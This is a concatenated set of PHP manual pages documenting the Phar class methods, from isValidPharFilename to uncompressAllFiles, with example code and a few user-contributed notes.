(PHP >= 5.3.0, PECL phar >= 1.2.0)

Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename

Description

bool Phar::isValidPharFilename ( string $filename [, bool $executable = true ] )

Returns whether the given filename is a valid phar filename that will be recognized as a phar archive by the phar extension. This can be used to test a name without having to instantiate a phar archive and catch the inevitable Exception that will be thrown if an invalid name is specified.

Parameters

filename

The name or full path to a phar archive not yet created

executable

This parameter determines whether the filename should be treated as a phar executable archive, or a data non-executable archive

Return Values

Returns TRUE if the filename is valid, FALSE if not.

User Contributed Notes

sebastian dot krebs dot berlin at googlemail dot com 09-Oct-2011 12:54
Note, that this method accepts _everything_ (=> returns 'true'), when $executable is 'false' as long as the filename contains at least a dot

var_dump(\PharData::isValidPharFilename('randomstring.y', false));
bool(true)

This is not wrong at all, because I can name an archive like I want, but it makes the method completely useless (when $executable == false).
Phar::isFileFormat
Phar::isWritable
Phar


Returns true if the phar archive can be modified

Phar::isValidPharFilename
Phar::loadPhar
Phar
PHP Manual

Phar::isWritable

(Unknown)

Phar::isWritable — Returns true if the phar archive can be modified

Description

bool Phar::isWritable ( void )

This method returns TRUE if phar.readonly is 0, and the actual phar archive on disk is not read-only.

Parameters

No parameters.

Return Values

Returns TRUE if the phar archive can be modified

See Also

  • Phar::canWrite() - Returns whether phar extension supports writing and creating phars
  • PharData::isWritable() - Returns true if the tar/zip archive can be modified

User Contributed Notes

kristof dot coomans at telenet dot be 23-Apr-2009 06:08
It might be not expected, but this function will return true if the file does not exist yet even if the directory is read-only. Tested on PHP 5.3.0 RC 1.

I have buffering on and when I call stopBuffering() then the "failed to open stream: Permission denied" PharException will be thrown.
Phar::isValidPharFilename
Phar::loadPhar
Phar


Loads any phar archive with an alias

Phar::isWritable
Phar::mapPhar
Phar
PHP Manual

Phar::loadPhar

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::loadPhar — Loads any phar archive with an alias

Description

bool Phar::loadPhar ( string $filename [, string $alias ] )

This can be used to read the contents of an external Phar archive. This is most useful for assigning an alias to a phar so that subsequent references to the phar can use the shorter alias, or for loading Phar archives that only contain data and are not intended for execution/inclusion in PHP scripts.

Parameters

filename

the full or relative path to the phar archive to open

alias

The alias that may be used to refer to the phar archive. Note that many phar archives specify an explicit alias inside the phar archive, and a PharException will be thrown if a new alias is specified in this case.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

PharException is thrown if an alias is passed in and the phar archive already has an explicit alias

Examples

Example #1 A Phar::loadPhar() example

Phar::loadPhar can be used anywhere to load an external Phar archive, whereas Phar::mapPhar should be used in a loader stub for a Phar.

<?php
try {
    Phar::loadPhar('/path/to/phar.phar', 'my.phar');
    echo file_get_contents('phar://my.phar/file.txt');
} catch (PharException $e) {
    echo $e;
}
?>

See Also

  • Phar::mapPhar() - Reads the currently executed file (a phar) and registers its manifest

User Contributed Notes

There are no user contributed notes for this page.
Phar::isWritable
Phar::mapPhar
Phar


Reads the currently executed file (a phar) and registers its manifest

Phar::loadPhar
Phar::mount
Phar
PHP Manual

Phar::mapPhar

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest

Description

bool Phar::mapPhar ([ string $alias [, int $dataoffset = 0 ]] )

This static method can only be used inside a Phar archive's loader stub in order to initialize the phar when it is directly executed, or when it is included in another script.

Parameters

alias

The alias that can be used in phar:// URLs to refer to this archive, rather than its full path.

dataoffset

Unused variable, here for compatibility with PEAR's PHP_Archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

PharException is thrown if not called directly within PHP execution, if no __HALT_COMPILER(); token is found in the current source file, or if the file cannot be opened for reading.

Examples

Example #1 A Phar::mapPhar() example

mapPhar should be used only inside a phar's loader stub. Use loadPhar to load an external phar into memory.

Here is a sample Phar loader stub that uses mapPhar.

<?php
function __autoload($class)
{
    include 'phar://me.phar/' . str_replace('_', '/', $class) . '.php';
}
try {
    Phar::mapPhar('me.phar');
    include 'phar://me.phar/startup.php';
} catch (PharException $e) {
    echo $e->getMessage();
    die('Cannot initialize Phar');
}
__HALT_COMPILER();

See Also

  • Phar::loadPhar() - Loads any phar archive with an alias

User Contributed Notes

There are no user contributed notes for this page.
Phar::loadPhar
Phar::mount
Phar


Mount an external path or file to a virtual location within the phar archive

Phar::mapPhar
Phar::mungServer
Phar
PHP Manual

Phar::mount

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::mount — Mount an external path or file to a virtual location within the phar archive

Description

void Phar::mount ( string $pharpath , string $externalpath )

Much like the unix file system concept of mounting external devices to paths within the directory tree, Phar::mount() allows referring to external files and directories as if they were inside of an archive. This allows powerful abstraction such as referring to external configuration files as if they were inside the archive.

Parameters

pharpath

The internal path within the phar archive to use as the mounted path location. This must be a relative path within the phar archive, and must not already exist.

externalpath

A path or URL to an external file or directory to mount within the phar archive

Return Values

No return. PharException is thrown on failure.

Errors/Exceptions

Throws PharException if any problems occur mounting the path.

Examples

Example #1 A Phar::mount() example

The following example shows accessing an external configuration file as if it were a path within a phar archive.

First, the code inside of a phar archive:

<?php
$configuration = simplexml_load_string(file_get_contents(
    Phar::running(false) . '/config.xml'));
?>

Next the external code used to mount the configuration file:

<?php
// first set up the association between the abstract config.xml
// and the actual one on disk
Phar::mount('phar://config.xml', '/home/example/config.xml');
// now run the application
include '/path/to/archive.phar';
?>

Another method is to put the mounting code inside the stub of the phar archive. Here is an example of setting up a default configuration file if no user configuration is specified:

<?php
// first set up the association between the abstract config.xml
// and the actual one on disk
if (defined('EXTERNAL_CONFIG')) {
    Phar::mount('config.xml', EXTERNAL_CONFIG);
    if (file_exists(__DIR__ . '/extra_config.xml')) {
        Phar::mount('extra.xml', __DIR__ . '/extra_config.xml');
    }
} else {
    Phar::mount('config.xml', 'phar://' . __FILE__ . '/default_config.xml');
    Phar::mount('extra.xml', 'phar://' . __FILE__ . '/default_extra.xml');
}
// now run the application
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
?>

...and the code externally to load this phar archive:

<?php
define('EXTERNAL_CONFIG', '/home/example/config.xml');
// now run the application
include '/path/to/archive.phar';
?>

User Contributed Notes

espendiller at gmx dot de 09-Jun-2010 03:20
i tested phar to generate a one file drupal installation.
as every cms, drupal put all uploaded files in a seperate folder (i.e. /sites).

i think the mount options here expected a file, i didnt get it to work on mounting a folder. is there any possibility to do that?

to generate a phar out of drupal7 with sqlite database

build.php
$phar = new Phar('drupal7.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/drupal-7.0-alpha5');
$phar->setStub("<?php
Phar::interceptFileFuncs();
Phar::mount('sites/default/settings.php', __DIR__ . '/sites/default/settings.php');
Phar::mount('database.db', __DIR__ . '/database.db');
Phar::webPhar();
__HALT_COMPILER(); ?>"
);

to call the phar iam using a .htacces file:
RewriteCond %{REQUEST_URI} !^/drupal.phar/
RewriteCond %{REQUEST_URI} !build.php
RewriteRule ^(.*)$ /drupal.phar/$1
Phar::mapPhar
Phar::mungServer
Phar


Defines a list of up to 4 $_SERVER variables that should be modified for execution

Phar::mount
Phar::offsetExists
Phar
PHP Manual

Phar::mungServer

(Unknown)

Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution

Description

void Phar::mungServer ( array $munglist )

Phar::mungServer() should only be called within the stub of a phar archive.

Defines a list of up to 4 $_SERVER variables that should be modified for execution. Variables that can be modified to remove traces of phar execution are REQUEST_URI, PHP_SELF, SCRIPT_NAME and SCRIPT_FILENAME.

On its own, this method does nothing. Only when combined with Phar::webPhar() does it take effect, and only when the requested file is a PHP file to be parsed. Note that the PATH_INFO and PATH_TRANSLATED variables are always modified.

The original values of variables that are modified are stored in the SERVER array with PHAR_ prepended, so for instance SCRIPT_NAME would be saved as PHAR_SCRIPT_NAME.

Parameters

munglist

an array containing as string indices any of REQUEST_URI, PHP_SELF, SCRIPT_NAME and SCRIPT_FILENAME. Other values trigger an exception, and Phar::mungServer() is case-sensitive.

Return Values

No return.

Errors/Exceptions

Throws UnexpectedValueException if any problems are found with the passed in data.

Examples

Example #1 A Phar::mungServer() example

<?php
// example stub
Phar::mungServer(array('REQUEST_URI'));
Phar::webPhar();
__HALT_COMPILER();
?>

See Also

  • Phar::webPhar() - mapPhar for web-based phars. front controller for web applications
  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::mount
Phar::offsetExists
Phar


determines whether a file exists in the phar

Phar::mungServer
Phar::offsetGet
Phar
PHP Manual

Phar::offsetExists

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetExists — determines whether a file exists in the phar

Description

bool Phar::offsetExists ( string $offset )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets.

offsetExists() is called whenever isset() is called.

Parameters

offset

The filename (relative path) to look for in a Phar.

Return Values

Returns TRUE if the file exists within the phar, or FALSE if not.

Examples

Example #1 A Phar::offsetExists() example

<?php
$p = new Phar(dirname(__FILE__) . '/my.phar', 0, 'my.phar');
$p['firstfile.txt'] = 'first file';
$p['secondfile.txt'] = 'second file';
// the next set of lines call offsetExists() indirectly
var_dump(isset($p['firstfile.txt']));
var_dump(isset($p['nothere.txt']));
?>

The above example will output:

bool(true)
bool(false)

See Also

  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.
Phar::mungServer
Phar::offsetGet
Phar


Gets a PharFileInfo object for a specific file

Phar::offsetExists
Phar::offsetSet
Phar
PHP Manual

Phar::offsetGet

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetGet — Gets a PharFileInfo object for a specific file

Description

int Phar::offsetGet ( string $offset )

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. Phar::offsetGet() is used for retrieving files from a Phar archive.

Parameters

offset

The filename (relative path) to look for in a Phar.

Return Values

A PharFileInfo object is returned that can be used to iterate over a file's contents or to retrieve information about the current file.

Errors/Exceptions

This method throws BadMethodCallException if the file does not exist in the Phar archive.

Examples

Example #1 Phar::offsetGet() example

As with all classes that implement the ArrayAccess interface, Phar::offsetGet() is automatically called when using the [] angle bracket operator.

<?php
$p = new Phar(dirname(__FILE__) . '/myphar.phar', 0, 'myphar.phar');
$p['exists.txt'] = "file exists\n";
try {
    // automatically calls offsetGet()
    echo $p['exists.txt'];
    echo $p['doesnotexist.txt'];
} catch (BadMethodCallException $e) {
    echo $e;
}
?>

The above example will output:

file exists
Entry doesnotexist.txt does not exist

See Also

  • Phar::offsetExists() - determines whether a file exists in the phar
  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.
Phar::offsetExists
Phar::offsetSet
Phar


set the contents of an internal file to those of an external file

Phar::offsetGet
Phar::offsetUnset
Phar
PHP Manual

Phar::offsetSet

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetSet — set the contents of an internal file to those of an external file

Description

void Phar::offsetSet ( string $offset , string $value )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. offsetSet is used for modifying an existing file, or adding a new file to a Phar archive.

Parameters

offset

The filename (relative path) to modify in a Phar.

value

Content of the file.

Return Values

No return values.

Errors/Exceptions

if phar.readonly is 1, BadMethodCallException is thrown, as modifying a Phar is only allowed when phar.readonly is set to 0. Throws PharException if there are any problems flushing changes made to the Phar archive to disk.

Examples

Example #1 A Phar::offsetSet() example

offsetSet should not be accessed directly, but instead used via array access with the [] operator.

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
    // calls offsetSet
    $p['file.txt'] = 'Hi there';
} catch (Exception $e) {
    echo 'Could not modify file.txt:', $e;
}
?>

See Also

  • Phar::offsetExists() - determines whether a file exists in the phar
  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetUnset() - remove a file from a phar

User Contributed Notes

There are no user contributed notes for this page.
Phar::offsetGet
Phar::offsetUnset
Phar


remove a file from a phar

Phar::offsetSet
Phar::running
Phar
PHP Manual

Phar::offsetUnset

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::offsetUnset — remove a file from a phar

Description

bool Phar::offsetUnset ( string $offset )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This is an implementation of the ArrayAccess interface allowing direct manipulation of the contents of a Phar archive using array access brackets. offsetUnset is used for deleting an existing file, and is called by the unset() language construct.

Parameters

offset

The filename (relative path) to modify in a Phar.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

if phar.readonly is 1, BadMethodCallException is thrown, as modifying a Phar is only allowed when phar.readonly is set to 0. Throws PharException if there are any problems flushing changes made to the Phar archive to disk.

Examples

Example #1 A Phar::offsetUnset() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
    // deletes file.txt from my.phar by calling offsetUnset
    unset($p['file.txt']);
} catch (Exception $e) {
    echo 'Could not delete file.txt: ', $e;
}
?>

See Also

  • Phar::offsetExists() - determines whether a file exists in the phar
  • Phar::offsetGet() - Gets a PharFileInfo object for a specific file
  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • Phar::unlinkArchive() - Completely remove a phar archive from disk and from memory
  • Phar::delete() - Delete a file within a phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::offsetSet
Phar::running
Phar


Returns the full path on disk or full phar URL to the currently executing Phar archive

Phar::offsetUnset
Phar::setAlias
Phar
PHP Manual

Phar::running

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive

Description

string Phar::running ([ bool $retphar = true ] )

Returns the full path to the running phar archive. This is intended for use much like the __FILE__ magic constant, and only has effect inside an executing phar archive.

Inside the stub of an archive, Phar::running() returns "". Simply use __FILE__ to access the current running phar inside a stub.

Parameters

retphar

If FALSE, the full path on disk to the phar archive is returned. If TRUE, a full phar URL is returned.

Return Values

Returns the filename if valid, empty string otherwise.

Examples

Example #1 A Phar::running() example

For the following example, assume the phar archive is located at /path/to/phar/my.phar.

<?php
$a = Phar::running(); // $a is "phar:///path/to/my.phar"
$b = Phar::running(false); // $b is "/path/to/my.phar"
?>

User Contributed Notes

There are no user contributed notes for this page.
Phar::offsetUnset
Phar::setAlias
Phar


Set the alias for the Phar archive

Phar::running
Phar::setDefaultStub
Phar
PHP Manual

Phar::setAlias

(PHP >= 5.3.0, PECL phar >= 1.2.1)

Phar::setAlias — Set the alias for the Phar archive

Description

bool Phar::setAlias ( string $alias )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Set the alias for the Phar archive, and write it as the permanent alias for this phar archive. An alias can be used internally to a phar archive to ensure that use of the phar stream wrapper to access internal files always works regardless of the location of the phar archive on the filesystem. Another alternative is to rely upon Phar's interception of include() or to use Phar::interceptFileFuncs() and use relative paths.

Parameters

alias

A shorthand string that this archive can be referred to in phar stream wrapper access.

Return Values

Errors/Exceptions

Throws UnexpectedValueException when write access is disabled, and PharException if the alias is already in use or any problems were encountered flushing changes to disk.

Examples

Example #1 A Phar::setAlias() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setAlias('myp.phar');
} catch (Exception $e) {
    // handle error
}
?>

See Also

  • Phar::__construct() - Construct a Phar archive object
  • Phar::interceptFileFuncs() - instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions

User Contributed Notes

There are no user contributed notes for this page.
Phar::running
Phar::setDefaultStub
Phar


Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

Phar::setAlias
Phar::setMetadata
Phar
PHP Manual

Phar::setDefaultStub

(Unknown)

Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader

Description

bool Phar::setDefaultStub ([ string $index [, string $webindex ]] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is a convenience method that combines the functionality of Phar::createDefaultStub() and Phar::setStub().

Parameters

index

Relative path within the phar archive to run if accessed on the command-line

webindex

Relative path within the phar archive to run if accessed through a web browser

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

UnexpectedValueException is thrown if phar.readonly is enabled in php.ini. PharException is thrown if any problems are encountered flushing changes to disk.

Examples

Example #1 A Phar::setDefaultStub() example

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setDefaultStub('cli.php', 'web/index.php');
    // this is the same as:
    // $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
    // handle errors
}
?>

See Also

  • Phar::setStub() - Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

There are no user contributed notes for this page.
Phar::setAlias
Phar::setMetadata
Phar


Sets phar archive meta-data

Phar::setDefaultStub
Phar::setSignatureAlgorithm
Phar
PHP Manual

Phar::setMetadata

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::setMetadata — Sets phar archive meta-data

Description

void Phar::setMetadata ( mixed $metadata )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Phar::setMetadata() should be used to store customized data that describes something about the phar archive as a complete entity. PharFileInfo::setMetadata() should be used for file-specific meta-data. Meta-data can slow down the performance of loading a phar archive if the data is large.

Some possible uses for meta-data include specifying which file within the archive should be used to bootstrap the archive, or the location of a file manifest like » PEAR's package.xml file. However, any useful data that describes the phar archive may be stored.

Parameters

metadata

Any PHP variable containing information to store that describes the phar archive

Return Values

No value is returned.

Examples

Example #1 A Phar::setMetadata() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello"';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'Could not create and/or modify phar:', $e;
}
?>

The above example will output:

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

See Also

  • Phar::getMetadata() - Returns phar archive meta-data
  • Phar::delMetadata() - Deletes the global metadata of the phar
  • Phar::hasMetadata() - Returns whether phar has global meta-data

User Contributed Notes

There are no user contributed notes for this page.
Phar::setDefaultStub
Phar::setSignatureAlgorithm
Phar


set the signature algorithm for a phar and apply it.

Phar::setMetadata
Phar::setStub
Phar
PHP Manual

Phar::setSignatureAlgorithm

(PHP >= 5.3.0, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it.

Description

void Phar::setSignatureAlgorithm ( int $sigtype [, string $privatekey ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

set the signature algorithm for a phar and apply it. The signature algorithm must be one of Phar::MD5, Phar::SHA1, Phar::SHA256, Phar::SHA512, or Phar::OPENSSL.

Note that all executable phar archives have a signature created automatically, SHA1 by default. data tar- or zip-based archives (archives created with the PharData class) must have their signature created and set explicitly via Phar::setSignatureAlgorithm().

Parameters

sigtype

    One of Phar::MD5,
Phar::SHA1, Phar::SHA256,
Phar::SHA512, or Phar::OPENSSL

privatekey

The contents of an OpenSSL private key, as extracted from a certificate or OpenSSL key file:

<?php
$private = openssl_get_privatekey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($private, $pkey);
$p->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
?>
See phar introduction for instructions on naming and placement of the public key file.

Return Values

No value is returned.

Errors/Exceptions

Throws UnexpectedValueException for many errors, and a PharException if any problems occur flushing changes to disk.

See Also

  • Phar::getSupportedSignatures() - Return array of supported signature types
  • Phar::getSignature() - Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::setMetadata
Phar::setStub
Phar


Used to set the PHP loader or bootstrap stub of a Phar archive

Phar::setSignatureAlgorithm
Phar::startBuffering
Phar
PHP Manual

Phar::setStub

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive

Description

bool Phar::setStub ( string $stub )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method is used to add a PHP bootstrap loader stub to a new Phar archive, or to replace the loader stub in an existing Phar archive.

The loader stub for a Phar archive is used whenever an archive is included directly as in this example:

<?php
include 'myphar.phar';
?>

The loader is not accessed when including a file through the phar stream wrapper like so:

<?php
include 'phar://myphar.phar/somefile.php';
?>

Parameters

stub

A string or an open stream handle to use as the executable stub for this phar archive.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

UnexpectedValueException is thrown if phar.readonly is enabled in php.ini. PharException is thrown if any problems are encountered flushing changes to disk.

Examples

Example #1 A Phar::setStub() example

<?php
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['a.php'] = '<?php var_dump("Hello");';
    $p->setStub('<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
    include 'phar://brandnewphar.phar/a.php';
    var_dump($p->getStub());
    $p['b.php'] = '<?php var_dump("World");';
    $p->setStub('<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
    include 'phar://brandnewphar.phar/b.php';
    var_dump($p->getStub());
} catch (Exception $e) {
    echo 'Write operations failed on brandnewphar.phar: ', $e;
}
?>

The above example will output:

string(5) "Hello"
string(82) "<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"
string(5) "World"
string(83) "<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"

See Also

  • Phar::getStub() - Return the PHP loader or bootstrap stub of a Phar archive
  • Phar::createDefaultStub() - Create a phar-file format specific stub

User Contributed Notes

Olivier Laviale 17-Jul-2011 07:14
If your stub has a namespace, it is used for each include that doesn't define one.
jaimz22 at gmail dot com 16-Jan-2008 03:04
One thing I had alot of problems with, is that i can't set the stub unless I put the whole operation inside of a try/catch block!

If i remove the try/catch block it will error our and not write the stub with the content i want it to have.
Phar::setSignatureAlgorithm
Phar::startBuffering
Phar


Start buffering Phar write operations, do not modify the Phar object on disk

Phar::setStub
Phar::stopBuffering
Phar
PHP Manual

Phar::startBuffering

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk

Description

void Phar::startBuffering ( void )

Although technically unnecessary, the Phar::startBuffering() method can provide a significant performance boost when creating or modifying a Phar archive with a large number of files. Ordinarily, every time a file within a Phar archive is created or modified in any way, the entire Phar archive will be recreated with the changes. In this way, the archive will be up-to-date with the activity performed on it.

However, this can be unnecessary when simply creating a new Phar archive, when it would make more sense to write the entire archive out at once. Similarly, it is often necessary to make a series of changes and to ensure that they all are possible before making any changes on disk, similar to the relational database concept of transactions. the Phar::startBuffering()/Phar::stopBuffering() pair of methods is provided for this purpose.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

Return Values

No value is returned.

Examples

Example #1 A Phar::startBuffering() example

<?php
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->setCompressedGZ();
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub("<?php
function __autoload($class)
{
    include 'phar://myphar.phar/' . str_replace('_', '/', $class) . '.php';
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
?>

See Also

  • Phar::stopBuffering() - Stop buffering write requests to the Phar archive, and save changes to disk
  • Phar::isBuffering() - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

User Contributed Notes

There are no user contributed notes for this page.
Phar::setStub
Phar::stopBuffering
Phar


Stop buffering write requests to the Phar archive, and save changes to disk

Phar::startBuffering
Phar::uncompressAllFiles
Phar
PHP Manual

Phar::stopBuffering

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk

Description

void Phar::stopBuffering ( void )

Phar::stopBuffering() is used in conjunction with the Phar::startBuffering() method. Phar::startBuffering() can provide a significant performance boost when creating or modifying a Phar archive with a large number of files. Ordinarily, every time a file within a Phar archive is created or modified in any way, the entire Phar archive will be recreated with the changes. In this way, the archive will be up-to-date with the activity performed on it.

However, this can be unnecessary when simply creating a new Phar archive, when it would make more sense to write the entire archive out at once. Similarly, it is often necessary to make a series of changes and to ensure that they all are possible before making any changes on disk, similar to the relational database concept of transactions. The Phar::startBuffering()/Phar::stopBuffering() pair of methods is provided for this purpose.

Phar write buffering is per-archive, buffering active for the foo.phar Phar archive does not affect changes to the bar.phar Phar archive.

Return Values

No value is returned.

Errors/Exceptions

PharException is thrown if any problems are encountered flushing changes to disk.

Examples

Example #1 A Phar::stopBuffering() example

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file1.txt'] = 'hi';
$p->startBuffering();
var_dump($p->getStub());
$p->setStub("<?php
function __autoload(\$class)
{
    include 'phar://brandnewphar.phar/' . str_replace('_', '/', \$class) . '.php';
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
var_dump($p->getStub());
?>

The above example will output:

string(24) "<?php __HALT_COMPILER();"
string(195) "<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();"

See Also

  • Phar::startBuffering() - Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::isBuffering() - Used to determine whether Phar write operations are being buffered, or are flushing directly to disk

User Contributed Notes

There are no user contributed notes for this page.
Phar::startBuffering
Phar::uncompressAllFiles
Phar


Uncompresses all files in the current Phar archive

Phar::stopBuffering
Phar::unlinkArchive
Phar
PHP Manual

Phar::uncompressAllFiles

(PECL phar < 2.0.0)

Phar::uncompressAllFiles — Uncompresses all files in the current Phar archive

Description

bool Phar::uncompressAllFiles ( void )

Note:

This
method has been removed from the phar extension as of version 2.0.0.  Alternative
implementations are available using Phar::compress(),
Phar::decompress(), Phar::compressFiles() and
Phar::decompressFiles().

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method decompresses all files in the Phar archive. If any files are already compressed using gzip compression, the zlib extension must be enabled in order to decompress the files, and any files compressed using bzip2 compression require the bzip2 extension to decompress the files. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the bzip2 extension is not enabled and any files are compressed using bzip2 compression, or if any files are compressed using gzip compression and the zlib extension is not enabled.

Examples

Example #1 A Phar::uncompressAllFiles() example

<?php
try {
    $p = new Phar('/path/to/my.phar', 0, 'my.phar');
    $p['myfile.txt'] = 'hi';
    $p['myfile2.txt'] = 'hi';
    $p->compressAllFilesGZ();
    foreach ($p as $file) {
        var_dump($file->getFileName());
        var_dump($file->isCompressed());
        var_dump($file->isCompressedBZIP2());
        var_dump($file->isCompressedGZ());
    }
    $p->uncompressAllFiles();
    foreach ($p as $file) {
        var_dump($file->getFileName());
        var_dump($file->isCompressed());
        var_dump($file->isCompressedBZIP2());
        var_dump($file->isCompressedGZ());
    }
} catch (Exception $e) {
    echo 'Write operations failed on my.phar: ', $e;
}
?>

The above example will output:

string(10) "myfile.txt"
bool(true)
bool(false)
bool(true)
string(11) "myfile2.txt"
bool(true)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms

User Contributed Notes

There are no user contributed notes for this page.
Phar::stopBuffering
Phar::unlinkArchive
Phar


Completely remove a phar archive from disk and from memory

